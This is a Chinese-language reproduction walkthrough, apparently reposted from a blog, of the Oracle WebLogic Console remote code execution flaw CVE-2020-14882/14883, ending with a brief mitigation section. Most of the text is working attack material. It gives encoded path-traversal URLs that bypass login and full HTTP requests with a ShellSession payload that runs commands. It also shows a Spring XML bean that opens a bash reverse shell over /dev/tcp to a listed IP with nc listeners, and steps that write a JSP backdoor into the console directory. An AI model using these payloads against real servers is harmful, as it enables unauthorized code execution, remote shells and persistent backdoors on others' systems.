Weblogic Console HTTP協議遠程代碼執行漏洞復現(CVE-2020-14882)


                                     

                                                                                                                                                                                                                               

0x01 漏洞描述

近日,Oracle WebLogic Server 遠程代碼執行漏洞 (CVE-2020-14882)POC 被公開,未經身份驗證的遠程攻擊者可能通過構造特殊的 HTTP GET請求,利用該漏洞在受影響的 WebLogic Server 上執行任意代碼。它們均存在於WebLogic的Console控制台組件中。此組件為WebLogic全版本默認自帶組件,且該漏洞通過HTTP協議進行利用。將CVE-2020-14882和CVE-2020-14883進行組合利用后,遠程且未經授權的攻擊者可以直接在服務端執行任意代碼,獲取系統權限

0x02  漏洞影響

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0

0x03 漏洞復現:

一、環境配置

1.本次漏洞復現采用vulhub的環境,weblocig的版本為12.2.1.3.0,該版本存在漏洞

https://github.com/vulhub/vulhub/tree/173136b310693d50cac183c6218e64c861e2aaf5/weblogic/CVE-2020-14882

2.復現漏洞環境配置

  git clone  https://github.com/vulhub/vulhub.git

cd  vulhub/

cd  weblogic/

curl -s https://bootstrap.pypa.io/get-pip.py | python3
service docker start
pip install docker-compose
docker-compose  up -d 
訪問http://45.77.248.227:7001/console,即可部署weblogic環境
二、繞過后台登錄
1.權限漏洞繞過,主要的POC如下:
/console/images/%252E%252E%252Fconsole.portal
/console/css/%25%32%65%25%32%65%25%32%66console.portal

大寫換成小寫可繞過補丁:

/console/css/%252e%252e%252fconsole.portal

2.weblocig12繞過后台登錄
 
 
 
 
 
三、腳本化利用
1.命令回顯
python3 CVE-2020-14882_ALL.py -u http://45.77.248.227:7001/   -c  "whomai"
python3 CVE-2020-14882_ALL.py -u  http://45.77.248.227:7001/    -c  "ls"
2.外置xml文件無回顯命令執行

Linux反彈shell為例,編輯好poc.xml文件

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/45.77.248.227/2233  0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
注意:上面反彈的地址是服務器IP地址
將poc.xml上傳到服務器上,然后python3開啟http server web
通過腳本執行命令
 python3 CVE-2020-14882_ALL.py -u http://45.77.248.227:7001/   -x  http://45.77.248.227:8000/poc.xml
服務器上用nc監聽端口
nc  -llvp  2233
 
四、手工提交利用方式一
1.通過提交如下poc,可遠程執行命令,這里最好是通過上面的繞過后台,然后通過burpsuit抓包,修改為如下的POC即可。
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')  HTTP/1.1
Host: 45.77.248.227:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: */*
Referer: http://45.77.248.227:7001//console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);
Accept-Encoding: gzip, deflate
cmd:whoami && pwd 
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341
Connection: close
2.當前頁面的路徑為:
/u01/oracle/user_projects/domains/base_domain
3.那么可以在該目錄下寫入后門文件:
/u01/oracle/wlserver/server/lib/consoleapp/webapp/images
4.通過提交如下poc即可寫入后門
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')  HTTP/1.1
Host: 45.77.248.227:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: */*
Referer: http://45.77.248.227:7001//console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);
Accept-Encoding: gzip, deflate
cmd:whoami && pwd & echo 'this is  a test!'  > /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341
Connection: close
5.可以看到weblogic虛擬目錄下寫入了后門文件
6.訪問如下地址,即可獲取后門
http://45.77.248.227:7001/console/images/test.jsp


 
五、手工利用方式二
1、linux下通過遠程訪問xml文件執行反彈shell

首先,我們需要構造一個XML文件,並將其保存在Weblogic可以訪問到的服務器上,如http://45.77.248.227:8000/poc.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <beanid="pb"class="java.lang.ProcessBuilder"init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/45.77.248.227/2233  0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

通過FileSystemXmlApplicationContext()函數遠程加載xml,這里訪問如下地址:

http://45.77.248.227:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://45.77.248.227:8000/poc.xml")
服務監聽nc反彈
nc -lvvp 2233
或者
通過ClassPathXmlApplicationContext()函數遠程加載xml
http://45.77.248.227:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://45.77.248.227:8000/poc.xml")
服務監聽nc反彈
nc -lvvp 2233
 
2、windows下通過FileSystemXmlApplicationContext()函數寫入后門文件(weblocig_12版本)

 嘗試通過FileSystemXmlApplicationContext()加載並執行遠端xml文件:

http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.1/poc.xml")

poc.xml如下:

 

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

    <constructor-arg>

      <list>

        <value>cmd</value>

        <value>/c</value>

        <value><![CDATA[../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp]]></value>

      </list>

    </constructor-arg>

  </bean>

</beans>

通過此方法,windows可以往images路徑下寫文件,寫入路徑為:

../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp

訪問http://192.168.3.136:7001/console/images/xxx.jsp

 

寫入成功~~

 
 
3、weblogic 10 寫入后門
因為com.tangosol.coherence.mvel2.sh.ShellSession這個gadget,只存在於weblogic 12,weblogic10 並沒有這個gadget(沒有包),所以無法使用
需要使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext來執行,所有Weblogic版本均適用。

http://ip:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://server ip :8000/poc.xml")

0X04 漏洞修復

嘗試復現的時候發現/console/consolejndi.portal路徑也可以觸發,所以

至少禁止以下路徑的訪問。或者直接禁止訪問console。

  • /console/console.portal
  • /console/consolejndi.portal
或者通過官方下載補丁,這里需要正版授權才能下載
升級官方補丁:https://www.oracle.com/security-alerts/cpuoct2020.html
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM